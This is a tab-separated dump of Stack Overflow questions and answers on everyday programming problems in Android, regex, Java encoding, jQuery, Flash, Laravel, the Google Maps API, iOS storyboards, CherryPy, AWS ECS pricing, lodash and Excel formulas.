7289721	0	Using resources across classes? <p>I have a GameLoop class with a ParticleSystem object defined in it.</p> <p>The ParticleSystem contains an array of Particle objects - I don't want to have to load an image for each individual particle, id like to just be able to draw from a source image in the GameLoop class - how can I do this in an efficient manner?</p> <p><strong>SOLUTION:</strong></p> <p>Here is what Dan S helped me come up with:</p> <pre><code>public class ResourceManager { Context mContext; public final HashMap&lt;String, Bitmap&gt; Texture = new HashMap&lt;String, Bitmap&gt;(); //Constructor public ResourceManager(Context context) { mContext = context; Texture.put("particle1", loadBitmap(R.drawable.particle1)); } public Bitmap getBitmap(String key) { return Texture.get(key); } /** Load an image */ protected Bitmap loadBitmap(int id) { return BitmapFactory.decodeResource(mContext.getResources(), id); } } //End ResourceManager </code></pre> <p>then define it in a class:</p> <pre><code>rm = new ResourceManager(mContext); </code></pre> <p>And then pass the rm variable down the way:</p> <pre><code> ParticleSystem.Draw(rm, canvas); { Particle.Draw(rm, canvas); } </code></pre> <p>and in Particle class, there is a String assetKey I set in constructor - so that I can refer to the Bitmap by a name:</p> <pre><code>public void doDraw(ResourceManager rm, Canvas canvas) { canvas.drawBitmap(rm.getBitmap(AssetKey), xpos, ypos, null); } </code></pre> <p>I hope this is helpful to someone else also.</p>
20021366	0	Regex - matching a multiline block by noting the absence of a string and then inserting it <p>What a mouthful of a subject. </p> <p>So in essence I have a pattern I need to find in a file based on that pattern missing something.</p> <p>For example what I HAVE is:</p> <pre><code>Huge amounts of preceding code... someHeader { someInfo = "blah blah blah"; } Huge amounts of ending code... </code></pre> <p>What I need to do is make it look like this:</p> <pre><code>someHeader { someDescription = "Excellent information found here!"; someInfo = "blah blah blah"; } Huge amounts of ending code... </code></pre> <p><strong>The bottom line:</strong> I need to find all instances of the "someHeader" block that do not have a "someDescription" and insert it. "someInfo" will not always be there either so I really need to find every instance of <code>"someheader\r\t\t{\r\t\t\t!someDescription"</code> and replace it with <code>"someheader\r\t\t{\r\t\t\tsomeDescription = "Excellent information found here!";\r"</code></p> <p>I really am at a loss and have been banging on this for about a day. I have attempted <a href="/questions/tagged/sed" class="post-tag" title="show questions tagged &#39;sed&#39;" rel="tag">sed</a>, <a href="/questions/tagged/awk" class="post-tag" title="show questions tagged &#39;awk&#39;" rel="tag">awk</a>, <a href="/questions/tagged/perl" class="post-tag" title="show questions tagged &#39;perl&#39;" rel="tag">perl</a> and am dorking around with <a href="/questions/tagged/c%23" class="post-tag" title="show questions tagged &#39;c#&#39;" rel="tag">c#</a> right now.</p>
26771465	0	 <p>It turned out to be a CORS issue. Opera 12.17 seems to be very restrictive when it comes to CORS. I moved the app and all the necessary resources into one domain and it works as it should. Note * this issue only happens with Opera 12.17 , later versions seem to work.</p>
3796740	0	 <p>In this <a href="http://mindprod.com/jgloss/hashcode.html" rel="nofollow">link</a> it says that indeed the default hash code is the JVM address of the object, but if it is moved - the address stays consistent. I don't know how reliable this source is, but I am sure that the implementors of this method thought of this scenario (which is not rare or corner case), and ensured correct functionality of this method.</p>
6522747	0	 <p>A minor shuffle to trigger the <code>hide()</code> on the last callback for the <code>each()</code> you've got going should do the trick.</p> <pre><code>elsCheck = $(".treeclick", "#treegrid"); $("#expandAll").click(function(e){ $('#collapseExpandProgress').show(); elsCheck.each(function(i){ if ($(this).hasClass("tree-plus")) { $(this).trigger("click"); } if (i==(elsCheck.length-1)){ $('#collapseExpandProgress').hide(); } }); }); </code></pre>
21871726	0	Accessing a jobjectarray in C++ <pre><code>JNIEXPORT void JNICALL Java_com_beantowngameshop_bingoshoot_api_ApslarHandler_sendEvent (JNIEnv *, jobject, jobjectArray); </code></pre> <p>The jobjectArray is object array of my java class that has two attributes </p> <p>1) A String 2) A Integer</p> <p>I want to iterate and read the values of this array ? Can anyone please show me how ? </p>
31578621	0	 <p>The plain <code>for loop</code> way:</p> <pre><code>T max_e = std::numeric_limits&lt;T&gt;::min(); for(const auto&amp; v: vv) { for(const auto&amp; e: v) { max_e = std::max(max_e, e); } } </code></pre>
2667088	0	 <p>Hmm its a good question.</p> <p>Anything that can be displayed can be rendered using an instance of <code>WriteableBitmap</code> and its <code>Render</code> method. You can access the output using the <code>Pixels</code> byte array property. </p> <p>However (assuming GPU acceleration is turned on and the content is appropriately marked to make use of the GPU) whether such a render will actually make use of the GPU when going to a <code>WriteableBitmap</code> instead of the display I don't know. </p>
19308956	0	 <p>Thank you for your assistance. After many hours, I figured I had to use setTitle().</p>
4894964	0	Flash mp3 player throws Error 2032 - Thinking URLRequest is the culprit? <p>I am trying to set up an audio player for a website I am working on, and I keep running into this Error 2032. The .swf is located in my main folder along with my songlist file. The song files themselves are located in a subfolder called songs/</p> <p>I am not sure what could be causing this, and any input would be helpful.</p> <p> </p> <pre><code>&lt;fx:Script&gt; &lt;![CDATA[ import mx.collections.ArrayCollection; import mx.collections.ArrayList; import mx.collections.XMLListCollection; import mx.controls.Alert; import mx.rpc.events.FaultEvent; import mx.rpc.events.ResultEvent; import mx.utils.ArrayUtil; private var sound:Sound; // Mp3 File private var soundChannel:SoundChannel; // Reference to playing channel private var pausePosition:Number; // Current play position (time) private var percent:Number; // Current played percentage private var isPlaying:Boolean = false; // Is the mp3 playing? private var isLoaded:Boolean = false; // Is the mp3 loaded? //private var updateSeek:Timer = new Timer(500); // Timer for updating the seek bar private var currentSong:String; private var index:int; private var start:Boolean = true; private var songs:Array; private function init():void { grabSongs(); } private function grabSongs():void{ var theLoader:URLLoader = new URLLoader(); var theRequest:URLRequest = new URLRequest("songlist.txt"); theLoader.load(theRequest); theLoader.addEventListener(Event.COMPLETE, loadComplete); } private function loadComplete(theEvent:Event):void{ songs = theEvent.target.data.split("\n"); currentSong = songs[0]; index = 0; } private function playPause(e:Event = null):void { // Song playing? if(isPlaying) { // Save the current position in the track, stop playback, change button icon pausePosition = soundChannel.position; soundChannel.stop(); this.btnPlay.label = "Play"; // If the URL has been changed but not loaded, hide seekbar // Song is not playing? } else { if(!isLoaded) { // If the song isn't loaded yet, set up a new sound load request if(start == true){ start = false; } sound = new Sound(); sound.load(new URLRequest("songs/" + currentSong)); // Add an event listener to check for song load complete event sound.addEventListener(Event.COMPLETE, songLoaded); this.btnPlay.label ="Pause"; } else { // The song IS loaded, so play it soundChannel = sound.play(pausePosition); this.btnPlay.label = "Pause"; } } // Regardless of playing state, change it now to the opposite isPlaying = !isPlaying; } private function songLoaded(e:Event):void { // Remove load event listener sound.removeEventListener(Event.COMPLETE, songLoaded); // Play the song soundChannel = sound.play(0); // Song is loaded isLoaded = true; } private function prev(e:Event = null):void { if(start == false){ if(index == 0){ index = songs.length - 1; }else{ index--; } currentSong = songs[index]; isPlaying = true; isLoaded = false; playNew(e); } } private function next(e:Event = null):void { if(start == false){ if(index == songs.length - 1){ index = 0; }else{ index++; } currentSong = songs[index]; isPlaying = true; isLoaded = false; playNew(e); } } private function playNew(e:Event = null):void { soundChannel.stop(); sound = new Sound(); sound.load(new URLRequest("songs/" + currentSong)); // Add an event listener to check for song load complete event sound.addEventListener(Event.COMPLETE, songLoaded); this.btnPlay.label = "Pause"; } ]]&gt; &lt;/fx:Script&gt; &lt;s:Button id="btnPrev" label="Previous" chromeColor="#000000" focusColor="#000000" color="#8D1111" enabled="true" click="{prev(event)}" height="20" width="80" x="0" y="0"/&gt; &lt;s:Button id="btnPlay" label="Play" chromeColor="#000000" focusColor="#000000" color="#8D1111" enabled="true" click="{playPause(event)}" height="20" width="80" x="81" y="0"/&gt; &lt;s:Button id="btnNext" label="Next" chromeColor="#000000" focusColor="#000000" color="#8D1111" enabled="true" click="{next(event)}" height="20" width="80" x="162" y="0"/&gt; </code></pre> <p></p> <p>This works locally on my laptop, but when I upload the swf it throws error 2032.</p> <p>Thanks</p> <p><strong>Update</strong></p> <p>So the setup is exactly as FlexFiend answered, along with <a href="http://localhost/FlexStuff/songs/" rel="nofollow">http://localhost/FlexStuff/songs/</a> I tried checking the log file of the flash debugger and this was my message:</p> <p>Error #2032: Stream Error. URL: <a href="http://www.mywebsite.com/framework_4.0.0.14159.swf" rel="nofollow">http://www.mywebsite.com/framework_4.0.0.14159.swf</a></p> <p>I am very unfamiliar with what this means, but maybe its causing my problems?</p>
6127528	0	Converting from Windows 1252 to UTF8 in Java: null characters with CharsetDecoder/Encoder <p>I know it's a very general question but I'm becoming mad. </p> <p>I used this code:</p> <pre><code>String ucs2Content = new String(bufferToConvert, inputEncoding); byte[] outputBuf = ucs2Content.getBytes(outputEncoding); return outputBuf; </code></pre> <p>But I read that is better to use CharsetDecoder and CharsetEncoder (I have contents with some character probably outside the destination encoding). I've just written this code but that has some problems:</p> <pre><code>// Create the encoder and decoder for Win1252 Charset charsetInput = Charset.forName(inputEncoding); CharsetDecoder decoder = charsetInput.newDecoder(); Charset charsetOutput = Charset.forName(outputEncoding); CharsetEncoder encoder = charsetOutput.newEncoder(); // Convert the byte array from starting inputEncoding into UCS2 CharBuffer cbuf = decoder.decode(ByteBuffer.wrap(bufferToConvert)); // Convert the internal UCS2 representation into outputEncoding ByteBuffer bbuf = encoder.encode(CharBuffer.wrap(cbuf)); return bbuf.array(); </code></pre> <p>Indeed this code <strong>appends to the buffer a sequence of null character</strong>!!!!!</p> <p>Could someone tell me where is the problem? I'm not so skilled with encoding conversion in Java. </p> <p>Is there a better way to convert encoding in Java?</p>
20852884	0	PHP passing model as a function argument <p>I'm using the Laravel Framework and I've got <code>MyModel</code>.</p> <pre><code>namespace App\Models; use Illuminate\Support\Facades\DB; class MyModel extends \Eloquent { //Some stuff goes here } </code></pre> <p>I have made this function that group the data of an array. <strong>This is working well.</strong></p> <pre><code>public static function GroupBy($array, $key){ $grouped = array(); foreach($array as $arr){ if(!array_key_exists($arr-&gt;MyModel['id'], $grouped)){$grouped[$arr-&gt;MyModel['id']] = array();} array_push($grouped[$arr-&gt;MyModel['id']], $arr[$key]); } return $grouped; } </code></pre> <p><strong>Now I wish to make this function more generic by passing the model by which my grouping is made. In order word I'd like to be able to pass <code>MyModel['id']</code> as another argument.</strong> Something like:</p> <pre><code>$by = "MyModel['id']"; public static function GroupBy($by, $array, $key){ $grouped = array(); foreach($array as $arr){ if(!array_key_exists($arr-&gt;$by, $grouped)){$grouped[$arr-&gt;$by] = array();} array_push($grouped[$arr-&gt;$by], $arr[$key]); } return $grouped; } </code></pre> <p>This last solution doesn't work. It returns me an array with an array containing all the <code>id</code>.</p>
20918211	0	 <pre><code>function mom_get_first_image() { global $post; if(preg_match_all('/&lt;img.+src=[\'"]([^\'"]+)[\'"].*&gt;/i', $post-&gt;post_content, $matches)) $first_img = $matches[1][0]; else $first_img = "images/logo.png"; return $first_img; } </code></pre>
12456714	0	google distance Matrix api v3 showing error <p>I am trying to calculate the rates of the taxi fare from the distance of two locations using google distance matrix app.</p> <p>I created a new project, enabled the Google Maps Api V2 &amp; V3 from the services, copied the api key from Simple API Access</p> <pre><code>&lt;script type="text/javascript" src="http://maps.googleapis.com/maps/api/js?key=MY_AppS_KeY&amp;sensor=false"&gt; &lt;/script&gt; </code></pre> <p>But I am getting errors like</p> <pre><code>Google has disabled use of the Maps API for this application. The provided key is not a valid Google API Key, or it is not authorized for the Google Maps Javascript API v2 on this site. If you are the owner of this application, you can learn about obtaining a valid key here: http://code.google.com/apis/maps/documentation/javascript /v2/introduction.html#Obtaining_Key </code></pre> <p>If i go back to my old apps key, i get following error:</p> <pre><code>This web site needs a different Google Maps API key. A new key can be generated at http://code.google.com/apis/maps/documentation/javascript /v2/introduction.html#Obtaining_Key. </code></pre> <p>Can any one Please Help</p> <p>The script i used is as follows:</p> <pre><code>&lt;?php $rate=20; $extra=0; ?&gt; &lt;head&gt; &lt;script type="text/javascript"src="http://maps.googleapis.com/maps/api /js?key=AIzaSyD0TzSohrtPSgWRQx8BhKryZKsjqQQH65Q&amp;sensor=true"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; var geocoder, location1, location2, gDir; var map; var gdir; var geocoder = null; var addressMarker; var directionsPanel; var directions; function initialize() { geocoder = new GClientGeocoder(); gDir = new GDirections(); GEvent.addListener(gDir, "load", function() { var drivingDistanceMiles = gDir.getDistance().meters / 1609.344; var drivingDistanceround = Math.round(drivingDistanceMiles*100)/100; //if (40&gt;drivingDistanceMiles) //{ var cost = ((drivingDistanceMiles * &lt;?php echo $rate; ?&gt;) + (&lt;?php echo $extra; ?&gt;)) //} /*else { var cost = ((drivingDistanceMiles * &lt;?php echo $rate; ?&gt;) + (&lt;?php echo $extra; ?&gt;)) }; */ //var cost2 = cost + (cost * .0675); //var fare = Math.round(cost2*100)/100; var fare=cost; var fare = Math.round(fare*100)/100; document.getElementById('results').innerHTML = '&lt;table width="100%" style="border-collapse:collapse; padding-top:3px;"&gt;&lt;tr&gt;&lt;td rowspan="2" width="35"&gt;&lt;img src="images/rates.png"&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Distance: &lt;/strong&gt;' + drivingDistanceround + ' miles&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Estimated Cost: &lt;/strong&gt;$ ' + fare + '&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;'; }); if (GBrowserIsCompatible()) { map = new GMap2(document.getElementById("map_canvas")); map.setCenter(new GLatLng(-33.722626, 150.810585), 10); gdir = new GDirections(map, document.getElementById("directions")); //directionsPanel = document.getElementById("route"); //directions = new GDirections(map, directionsPanel); //directions.load("from: "+ document.forms[0].from.value +" to: "+ document.forms[0].to.value+""); //directions.load("from: 500 Memorial Drive, Cambridge, MA to: 4 Yawkey Way, Boston, MA 02215 (Fenway Park)"); //directions.load("from: "+document.locations.to.value+" to: "+document.locations.to.value+""); GEvent.addListener(gdir, "load", onGDimrectionsLoad); GEvent.addListener(gdir, "error", handleErrors); } } function setDirections(fromAddress, toAddress, locale) { gdir.load("from: " + fromAddress + " to: " + toAddress); } function showLocation() { geocoder.getLocations(document.forms[0].from.value, function (response) { if (!response || response.Status.code != 200) { alert("Sorry, we were unable to geocode the first address"); } else { location1 = {lat: response.Placemark[0].Point.coordinates[1], lon: response.Placemark[0].Point.coordinates[0], address: response.Placemark[0].address}; geocoder.getLocations(document.forms[0].to.value, function (response) { if (!response || response.Status.code != 200) { alert("Sorry, we were unable to geocode the second address"); } else { location2 = {lat: response.Placemark[0].Point.coordinates[1], lon: response.Placemark[0].Point.coordinates[0], address: response.Placemark[0].address}; gDir.load('from: ' + location1.address + ' to: ' + location2.address); } }); } }); /////////////////////////////////////////////////////////// var directionsPanel; var directions; directionsPanel = document.getElementById("route"); directions = new GDirections(map, directionsPanel); directions.load("from: "+document.forms[0].from.value+" to: "+document.forms[0].to.value); } &lt;/script&gt; &lt;/head&gt; &lt;body onload="initialize()" onunload="GUnload()"&gt; &lt;table width="380px" border="2" cellpadding="0" cellspacing="0" bordercolor="#FF9F0F" style="border-collapse:collapse"&gt; &lt;tr&gt; &lt;td bgcolor="#FFFF99" style="padding:5px;"&gt;&lt;table width="375px" border="0" cellspacing="0" cellpadding="0"&gt; &lt;tr&gt; &lt;td&gt;&lt;div id="map_canvas" style="width: 374px; height: 255px; border: solid 1px #336699"&gt;&lt;/div&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;div id="form" style="width:374px; text-align:center; border: solid 1px #336699; background:#d1e1e4;"&gt; &lt;form action="#" onsubmit="document.getElementById('route').innerHTML=''; showLocation(); setDirections(this.from.value, this.to.value); return false;"&gt; &lt;p style="font-family:Tahoma; font-size:8pt;"&gt;From: &lt;input id="fromAddress" type="text" onblur="if(this.value=='') this.value=this.defaultValue;" onfocus="if(this.value==this.defaultValue) this.value='';" value="Street Name City, State" maxlength="50" size="26" name="from" style="font- family:Tahoma; font-size:8pt;" /&gt; To: &lt;input id="toAddress" type="text" onblur="if(this.value=='') this.value=this.defaultValue;" onfocus="if(this.value==this.defaultValue) this.value='';" value="Street Name City, State" maxlength="50" size="26" name="to" style="font- family:Tahoma; font-size:8pt;"/&gt; &lt;input class="submit" name="submit" type="submit" value="Calculate" style="font-family:Tahoma; font-size:8pt;" /&gt; &lt;/p&gt; &lt;div id="results" style="font-family:Tahoma; font-size:8pt; text-align:left; padding-left:5px; padding-bottom:5px;"&gt;&lt;/div&gt; &lt;div id="route" style="font-family:Tahoma; display:none; font-size:8pt; text-align:left; padding-left:5px; padding-bottom:5px;"&gt;&lt;/div&gt;&lt;a href="../large.php" target="_top" style="font-size:13px;"&gt;click here view large map with routes&lt;/a&gt; &lt;/form&gt; &lt;/div&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/body&gt; </code></pre>
22447369	0	Navigation Controller to View Controller Programmatically Not Working IOS7 <p>Hi in my application i have navigation controller with registration and I'm doing the validation for my registration form if user enter a invalid data in the registration form it should not move to the next view controller and if user give the right data it should move to the next view controller but its not working.</p> <pre><code> - (IBAction)reg:(id)sender { if ([self validateEmail:[email text]]== 1 &amp;&amp; [self phonevalidate:[phone text]]== 1 &amp;&amp; [name.text length] &lt;= 25 &amp;&amp; [city.text length] &lt;= 25 ) { pollpoliticalViewController *pollVC = [[UIStoryboard storyboardWithName:@"Main.storyboard" bundle:nil] instantiateViewControllerWithIdentifier:@"PollPoliticalVCID"]; [self.navigationController pushViewController:pollVC animated:YES]; UIAlertView *alert = [[UIAlertView alloc] initWithTitle:nil message:@"Thanks For The Registration" delegate:self cancelButtonTitle:@"ok" otherButtonTitles: nil]; [alert show]; [alert release]; }else{ UIAlertView *alert1 = [[UIAlertView alloc]initWithTitle:@"Message" message:@"you entered worng correct" delegate:self cancelButtonTitle:@"ok" otherButtonTitles:nil, nil]; [alert1 show]; [alert1 release]; } } </code></pre> <p>I used this above code for the navigating to view controller form the navigation controller programmatically but its giving error like.</p> <blockquote> <p>Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: 'Could not find a storyboard named 'Main.storyboard'</p> </blockquote> <p>But my storyboard name is main.storyboard i don't know why its giving error like this i have tried to by chaining the storyboard name but what ever i change the its giving the same error for all please tell me how to resolve this one.</p> <p>Thanks. </p>
32368447	1	Default the root view in cherrypy <p>In <a href="https://github.com/metaperl/metaperl-proxy">some source code</a> I am writing, I am able to make a request such as:</p> <pre><code>http://proxy.metaperl.org/index/bitgold-rw1 </code></pre> <p>And have it redirect successfully.</p> <p>However, I want to remove <code>index</code> from the URL and have it still redirect by using the <code>index()</code> method. I tried renaming <code>index()</code> to <code>default()</code> after reading about <a href="https://cherrypy.readthedocs.org/en/3.2.6/concepts/dispatching.html">Dispatching</a>, but it still does not allow me to have a URL like this:</p> <pre><code>http://proxy.metaperl.org/bitgold-rw1 </code></pre> <p>It tries to find a method named <code>bitgold-rw1</code> instead of using the default method to resolve the request, gving me the error:</p> <pre><code>NotFound: (404, "The path '/bitgold-rw1' was not found.") </code></pre> <p>The WSGI startup file looks like this:</p> <pre><code># -*- python -*- # core import os import sys # 3rd party import cherrypy # local def full_path(*extra): return os.path.join(os.path.dirname(__file__), *extra) sys.path.insert(0, full_path()) import config import myapp application = cherrypy.Application( myapp.Root(), "/", config.config) </code></pre>
40997035	0	 <p>@Joshua Blevins its nice to see you come to symfony and try its first ever beginners code.</p> <p>Here you have to change your <code>app.php</code> located in <strong>web</strong> folder of your project. Open and turn the false option to true, it will enable your project to run in production environment.</p> <p>Moreover every controller of symfony extended from the base controller.</p> <p>Try this:</p> <pre><code>// src/AppBundle/Controller/LuckyController.php // ... // --&gt; add this new use statement use Symfony\Bundle\FrameworkBundle\Controller\Controller; class LuckyController extends Controller { // ... } </code></pre> <p>you can also test your rout by just <code>echo "hello world!</code>" in the controller.</p> <p>reference <a href="http://symfony.com/doc/current/page_creation.html" rel="nofollow noreferrer">Create your First Page in Symfony</a></p>
8662221	0	Collecting and identifying functions within an array in actionscript <p>So, I want to do something where I collect functions to be invoked later when a certain condition is met. E.g.</p> <pre><code>function doSomething(someArg:Object):void { if (conditionIsFalse){ operationsToDoWhenConditionIsTrue.push(function(){ doSomething(someArg); }); } } function onConditionBecomingTrue():void { while (operationsToDoWhenConditionIsTrue.length &gt; 0){ operationsToDoWhenConditionIsTrue.shift()(); } } </code></pre> <p>So far so good. However at some point I want to iterate over the operationsToDoWhenConditionIsTrue and identify and replace a function. In pseudo code inside the doSomething method it would be:</p> <pre><code>function doSomething(someArg:Object):void { if (conditionIsFalse){ for (var i:int = 0; i&lt;operationsToDoWhenConditionIsTrue; i++){ // pseudo code here if (typeof operationsToDoWhenConditionIsTrue[i] == doSomething){ operationsToDoWhenConditionIsTrue[i] = doSomething(someArg); } } } } </code></pre> <p>Basically if doSomething is called twice, I only want operationsToDoWhenConditionIsTrue to hold the most recent invocation. Obviously since the invocations are wrapped in function(){} all the functions are the same. Is there any way I can accomplish what I want?</p>
19766668	0	How to make a URL link to another state of the page? <p>I'd like to share a page in a state when the second link is active (e.g. "http:/ /mypage#green-color"). </p> <p>I tried to add to the second link <code>onClick="window.location='#green-color';"</code> attribute. It changes the URL in the browser's address window, but I can't share it with others.</p> <p><a href="http://jsfiddle.net/Rk3Xz/1/" rel="nofollow">code in JS Fiddle</a> </p> <pre><code>&lt;a href="#" id="all"&gt;All Colors&lt;/a&gt; &lt;a href="#green" id="green-color"&gt;Green Color&lt;/a&gt; &lt;div id="red"&gt;&lt;/div&gt; &lt;div id="green"&gt;&lt;/div&gt; </code></pre> <p>Two states of the page:</p> <pre><code>$( "#all" ).click(function() { $( "#red" ).show(200); }); $( "#green-color" ).click(function() { $( "#red" ).hide(200); }); </code></pre>
37698170	0	What is the actual pricing for AWS ECS? <p>AWS EC2 Container Service official webpage says:</p> <blockquote> <p>There is no additional charge for Amazon EC2 Container Service. You pay for AWS resources (e.g. EC2 instances or EBS volumes) you create to store and run your application.</p> </blockquote> <p>What does that mean if I host my application that would run on the micro EC2 instance and it would have been scheduled to run only once a day. The execution would take 1 hour.</p> <p>Does it mean I pay for 1 hour or do I also pay for the EC2 instance while it's idle? Is in this case AWS Beanstalk better?</p>
33350116	0	 <p>I thank you all for the input. I was able to fix my errors. I re-iterate through each character and strip the punctuation and i kept creating new lists to add repeated words then keep a single occurrence. The response that I have seem to work but I was not introduced to the higher order programming as yet.</p> <p>Here is the modified code:</p> <pre><code>def repeatWords(filename_1, filename_2): infile_1=open(filename_1,'r') content_1=infile_1.read() infile_1.close() import string new_content="" for char in content_1: new_content+=char.strip(string.punctuation) new_content=new_content.lower() new_content=new_content.split() repeated_list=[] for word in new_content: if new_content.count(word)&gt;1: repeated_list.append(word) new_repeat_list=[] for item in repeated_list: while item not in new_repeat_list: new_repeat_list.append(item) outfile=open(filename_2,'w') for repeat in new_repeat_list: outfile.write(repeat) outfile.write('\n') outfile.close() infile_2=open(filename_2,'r') content_2=infile_2.read() infile_2.close() return content_2 inF = 'catInTheHat.txt' outF = 'catRepWords.txt' print(repeatWords(inF, outF)) </code></pre>
38368878	0	neo4j refresh pagination in cyper query <p>I have a news feed in my application and im using neo4j as database. I also use pagination with <code>SKIP</code> and <code>LIMIT</code> to pull more and more item from the database.</p> <p>Im looking for a way to "refresh" the pagination (pull to refresh. like facebook have when there are new stories for in the news feed)</p> <p>Assuming I have the Id of the first element that was returned by the query with the <code>SKIP=0</code> how can I do that?</p>
2432257	0	 <p>Visual SourceSafe 2005 includes support for access over HTTP:</p> <blockquote> <p><strong>Remote Internet Access.</strong> This release of Visual SourceSafe introduces a new SourceSafe Internet plug-in for Visual Studio source control. The plug-in and its associated Web service enable remote Internet access to Visual SourceSafe databases over HTTP or HTTPS. The SourceSafe Internet plug-in supports the basic operations of database open, database add, check-in, checkout, and get, but does not provide rename, delete, get by time or by label, history, labeling, or share/branch functions. This plug-in is particularly helpful when you need to access your Visual SourceSafe databases when you are on the road.</p> </blockquote> <p>Articles on setting it up seem to be scarce: <a href="http://www.yafla.com/dennisforbes/Visual-SourceSafe-2005-Internet-Provider/Visual-SourceSafe-2005-Internet-Provider.html" rel="nofollow noreferrer">Visual SourceSafe 2005 Internet Provider</a>.</p> <p>Also see:</p> <ul> <li><p><a href="http://msdn.microsoft.com/en-us/library/ms181052(VS.80).aspx" rel="nofollow noreferrer">How to: Enable Internet Information Services (IIS)</a></p></li> <li><p><a href="http://msdn.microsoft.com/en-us/library/ms181053(VS.80).aspx" rel="nofollow noreferrer">How to: Set Up Secure Sockets Layer (SSL)</a></p></li> </ul> <p>But given that Visual SourceSafe 2005 will be retired from mainstream support on 12 April 2011 (with extended support ending on 12 April 2016), you might be better off going with Subversion (or similiar).</p>
25894194	0	 <p>smallImageUrls, is inside matches that is inside the root, so you have to retrieve matches and, through it, smallImageUrls</p> <pre><code>JSONObject obj = new JSONObject(...); JSONArray matches = obj.optJSONArray("matches"); if (matches != null) { for (int i = 0; i &lt; matchesLenght; i++) { JSONObject objAtIndex = matches.optJSONObject(i); if (objAtIndex != null) { JSONArray smallImageUrls = objAtIndex.optJSONArray("smallImageUrls"); for (int j = 0; j &lt; smallImageUrlsSize; j++) { String urlAtIndex = smallImageUrls.optString(j); } } } } </code></pre>
25342573	0	RESTful API to safeguard server and client from large datasets <p>I am working on designing a RESTful API and need second opinion on the design. I will be abstracting away the problem statement for better understanding.</p> <p>Consider a URI <code>/search?key1=value1&amp;key2=value2</code>, which can potentially return a huge result set for a given search criteria for key1 and key2. </p> <p>My mandate is to make sure that the server and client are bounded by limits to prevent performance degradation. If that limit is reached and the intended data is not found in result set, user will be asked to refine the search query to narrow down. (I am not thinking of pagination, that is for a different problem set)</p> <p>Approach is to allow client specify a limit to server that it(client) can comfortably handle, and to help server set a limit for itself to prevent from generating huge result sets affecting performance.</p> <p>Client can do <code>/search?key1=value1&amp;key2=value2&amp;maxresults=xxxx</code> to specify it's limit.</p> <p>Server can set it's own limit as a configuration param for search URI. While serving a request, server will take a min of (client's limit, server's limit) and generate result set satisfying the effective limit.</p> <p>The JSON generated will have a meta data part which will mention if the result was truncated or not, and the effective limit set. The client can inspect this part and ask the user to refine search if "truncated" is "true". The problem domain actually allows the user to refine to a single item.</p> <pre><code>{ "result": { "truncated": "true", "limit": "2000", "data": [ { "id": "1" }, { "id": "2" } ... { "id": "2000" } ] } } </code></pre> <p>The questions I am trying to answer are:</p> <ul> <li>Is this violating any REST principles? </li> <li>Is there a standard convention to do the same that I might follow? </li> <li>Are there good examples on public APIs that you can quote? (Jira RESTful API has a couple of examples) </li> <li>Is there any gotcha in this design which may affect us in the future?</li> </ul> <p>Any view on this will be appreciated ...</p> <p>Thanks!</p>
35466556	0	Filtering an object based on its values using lodash <p>How would I use lodash to get the following output ?</p> <pre><code>input = { 'property1' : true, 'property2' : false, 'property3' : false } // only pick those properties that have a false value output = ['property2', 'property3']; </code></pre> <p>I currently have the following in place:</p> <pre><code>var output = []; _.forEach(input, (value, key) =&gt; { if (value === false) { output.push(key); } }); </code></pre>
31077760	0	 <p>if you just want a quick implementation i might recommend putting something like {{title}} in your html template, and configuring and using $rootScope.title to update this value from each of your controllers.</p> <p>implementation would be something like this plus the update to your template.</p> <pre class="lang-js prettyprint-override"><code>angular.module('myApp', []) .run(function($rootScope) { $rootScope.title = ""; }) .controller('myCtrl', function($scope, $rootScope) { $rootScope.title = "Navigation Bar Title" }) </code></pre> <p>but i think that a better way to do it would actually be to create a state for your navigation bar and make each of your current states a different child state of your navigation state. Because of scope inheritance you would have access to the navigation states $scope.title in any nested child state.</p> <p>here is a good place to learn how that should work.</p> <p><a href="https://github.com/angular-ui/ui-router/wiki/Nested-States-%26-Nested-Views#inherited-custom-data" rel="nofollow">https://github.com/angular-ui/ui-router/wiki/Nested-States-%26-Nested-Views#inherited-custom-data</a></p>
11134993	0	Sumproduct with Substitute <p>I have a range, containing numeric values &amp; blank cells. Some of the numeric values will have * as suffix.</p> <pre><code>10* 5 7 9 25* 10 </code></pre> <p>When I do a SUM(A1:A8), I get result of 5+7+9+10 = 31, the required output. Now, I also require the total sum irrespective of * suffix. I'm trying to solve by using</p> <pre><code>SUMPRODUCT(SUBSTITUTE(A1:A8,"*","")) </code></pre> <p>It works out to</p> <pre><code>SUMPRODUCT({"10","5","7","","9","","25","10"}) </code></pre> <p>And outputs 0 since all are text values. When I use </p> <pre><code>SUMPRODUCT(value(SUBSTITUTE(A1:A8,"*",""))) </code></pre> <p>It works out to </p> <pre><code>SUMPRODUCT({10,5,7,#VALUE!,9,#VALUE!,25,10}) </code></pre> <p>and finally outputs #Value!. Can someone help me to solve this? Thanks for your time.</p>
37844112	0	 <p>You can loop through the latlongs for the user and location off to a function that calculates distance based on the Haversine formula:</p> <p>In your controller, after loading your data:</p> <pre><code>angular.forEach(results, function(s) { store['dist'] = getDistanceInM(user_lat, user_lon, store['store_latitude'], store['store_longitude']); }) </code></pre> <p>These functions can be either in your controller or in a service:</p> <pre><code> var getDistanceInM = function(lat1, lon1, lat2, lon2) { var R = 6371; var dLat = deg2rad(lat2 - lat1); var dLon = deg2rad(lon2 - lon1); var a = Math.sin(dLat / 2) * Math.sin(dLat / 2) + Math.cos(deg2rad(lat1)) * Math.cos(deg2rad(lat2)) * Math.sin(dLon / 2) * Math.sin(dLon / 2); var c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a)); var d = R * c * 1000; return parseInt(d, 10); }; var deg2rad = function(deg) { return deg * (Math.PI / 180); }; </code></pre> <p>In your view:</p> <pre><code>&lt;ion-item ng-repeat="item in data.stores | orderBy:'dist'"&gt; </code></pre>
27542562	0	 <p>This replaces the last character of a url if it is a '/'</p> <pre><code>concat(LEFT(url, LENGTH(url)-1),replace(right(url, 1),'/','')) </code></pre>
